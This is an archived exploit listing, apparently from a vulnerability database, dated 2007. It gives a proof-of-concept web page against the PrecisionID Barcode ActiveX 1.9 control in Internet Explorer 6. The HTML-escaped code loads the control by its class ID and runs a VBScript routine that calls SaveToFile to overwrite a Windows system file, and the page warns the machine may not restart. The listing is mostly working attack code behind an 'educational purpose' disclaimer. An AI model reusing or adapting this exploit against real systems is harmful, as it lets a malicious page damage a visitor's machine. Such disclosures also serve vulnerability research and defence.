PrecisionID Barcode ActiveX 1.9 Remote Arbitrary File Overwrite Exploit

🗓️ 18 May 2007 00:00:00Reported by RootType
ActiveX 1.9 Remote Arbitrary File Overwrite Exploit by PrecisionI

                                                &lt;pre&gt;
&lt;span&nbsp;style=&quot;font:&nbsp;14pt&nbsp;Courier&nbsp;New;&quot;&gt;&lt;p&nbsp;align=&quot;center&quot;&gt;&lt;b&gt;2007/05/16&lt;/b&gt;&lt;/p&gt;&lt;/span&gt;
&lt;code&gt;&lt;span&nbsp;style=&quot;font:&nbsp;10pt&nbsp;Courier&nbsp;New;&quot;&gt;&lt;span&nbsp;class=&quot;general1-symbol&quot;&gt;-----------------------------------------------------------------------------------------------------
&nbsp;&lt;b&gt;IE&nbsp;6&nbsp;PrecisionID&nbsp;Barcode&nbsp;ActiveX&nbsp;1.9&nbsp;0day&nbsp;(PrecisionID_Barcode.dll)&nbsp;Remote&nbsp;Arbitrary&nbsp;File&nbsp;Overwrite&lt;/b&gt;
&nbsp;url:&nbsp;http://www.precisionid.com/

&nbsp;author:&nbsp;shinnai
&nbsp;mail:&nbsp;shinnai[at]autistici[dot]org
&nbsp;site:&nbsp;http://shinnai.altervista.org
&nbsp;
&nbsp;This&nbsp;was&nbsp;written&nbsp;for&nbsp;educational&nbsp;purpose.&nbsp;Use&nbsp;it&nbsp;at&nbsp;your&nbsp;own&nbsp;risk.
&nbsp;Author&nbsp;will&nbsp;be&nbsp;not&nbsp;be&nbsp;responsible&nbsp;for&nbsp;any&nbsp;damage.
&nbsp;
&nbsp;&lt;b&gt;&lt;font&nbsp;color=&quot;#FF0000&quot;&gt;THE&nbsp;EXPLOIT&nbsp;WILL&nbsp;OWERWRITE&nbsp;THE&nbsp;system.ini&nbsp;FILE&nbsp;SO&nbsp;BE&nbsp;SURE&nbsp;TO&nbsp;MAKE&nbsp;A&nbsp;COPY&nbsp;OF
&nbsp;IT&nbsp;BEFORE&nbsp;RUN&nbsp;THIS&nbsp;EXPLOIT&nbsp;OR&nbsp;YOUR&nbsp;PC&nbsp;WILL&nbsp;NOT&nbsp;RESTART!&lt;/font&gt;&lt;/b&gt;

&nbsp;Tested&nbsp;on&nbsp;Windows&nbsp;XP&nbsp;Professional&nbsp;SP2&nbsp;all&nbsp;patched,&nbsp;with&nbsp;Internet&nbsp;Explorer&nbsp;6
&nbsp;all&nbsp;software&nbsp;that&nbsp;use&nbsp;this&nbsp;ocx&nbsp;are&nbsp;vulnerable&nbsp;to&nbsp;these&nbsp;exploits.

&nbsp;If&nbsp;you&nbsp;try&nbsp;this&nbsp;exploit&nbsp;with&nbsp;IE&nbsp;7,&nbsp;it&nbsp;just&nbsp;stops&nbsp;to&nbsp;answer
-----------------------------------------------------------------------------------------------------

&lt;object&nbsp;classid='clsid:731766D0-8541-11DB-99C1-0050C2490048'&nbsp;id='test'&gt;&lt;/object&gt;

&lt;input&nbsp;language=VBScript&nbsp;onclick=tryMe()&nbsp;type=button&nbsp;value=&quot;Click&nbsp;here&nbsp;to&nbsp;start&nbsp;the&nbsp;test&quot;&gt;

&lt;script&nbsp;language='vbscript'&gt;
&nbsp;Sub&nbsp;tryMe
&nbsp;&nbsp;On&nbsp;Error&nbsp;Resume&nbsp;Next
&nbsp;&nbsp;&nbsp;Dim&nbsp;MyMsg
&nbsp;&nbsp;&nbsp;If(MsgBox(&quot;This&nbsp;was&nbsp;written&nbsp;for&nbsp;educational&nbsp;purpose.&nbsp;Use&nbsp;it&nbsp;at&nbsp;your&nbsp;own&nbsp;risk.&quot;&nbsp;&amp;&nbsp;vbCrLf&nbsp;&amp;&nbsp;_
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;Author&nbsp;will&nbsp;be&nbsp;not&nbsp;be&nbsp;responsible&nbsp;for&nbsp;any&nbsp;damage.&quot;&nbsp;&amp;&nbsp;vbCrLf&nbsp;&amp;&nbsp;vbCrLf&nbsp;&amp;&nbsp;_
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;THIS&nbsp;EXPLOIT&nbsp;WILL&nbsp;OWERWRITE&nbsp;THE&nbsp;system.ini&nbsp;FILE&nbsp;SO&nbsp;BE&nbsp;SURE&nbsp;TO&nbsp;MAKE&nbsp;A&nbsp;COPY&quot;&nbsp;&amp;&nbsp;_
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;&nbsp;OF&nbsp;IT&nbsp;BEFORE&nbsp;RUN&nbsp;THIS&nbsp;EXPLOIT&nbsp;OR&nbsp;YOUR&nbsp;PC&nbsp;WILL&nbsp;NOT&nbsp;RESTART!&quot;&nbsp;&amp;&nbsp;VBcRlF&nbsp;&amp;&nbsp;&quot;ARE&nbsp;YOU&quot;&nbsp;&amp;&nbsp;_
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;&nbsp;SURE&nbsp;YOU&nbsp;REALLY&nbsp;WANT&nbsp;TO&nbsp;RUN&nbsp;THIS&nbsp;EXPLOIT?&quot;,4)=vbYes)&nbsp;Then
&nbsp;&nbsp;&nbsp;&nbsp;test.SaveToFile&nbsp;&quot;c:\windows\system_.ini&quot;
&nbsp;&nbsp;&nbsp;&nbsp;MyMsg&nbsp;=&nbsp;MsgBox&nbsp;(&quot;Check&nbsp;now&nbsp;the&nbsp;file&nbsp;system.ini&quot;&nbsp;&amp;&nbsp;vbCrLf&nbsp;&amp;&nbsp;&quot;It's&nbsp;overwritten.&quot;,&nbsp;64,&quot;2007/05/11&nbsp;-&nbsp;Morovia&nbsp;Barcode&quot;)
&nbsp;&nbsp;&nbsp;Else
&nbsp;&nbsp;&nbsp;&nbsp;MyMsg&nbsp;=&nbsp;MsgBox&nbsp;(&quot;Nice,&nbsp;be&nbsp;safe!&quot;,&nbsp;64,&nbsp;&quot;2007/05/16&nbsp;-&nbsp;PrecisionID&nbsp;Barcode&nbsp;ActiveX&quot;)
&nbsp;&nbsp;&nbsp;End&nbsp;If&nbsp;
&nbsp;End&nbsp;Sub
&lt;/script&gt;
&lt;/span&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
18 May 2007 00:00Current
7.1High risk
Vulners AI Score7.1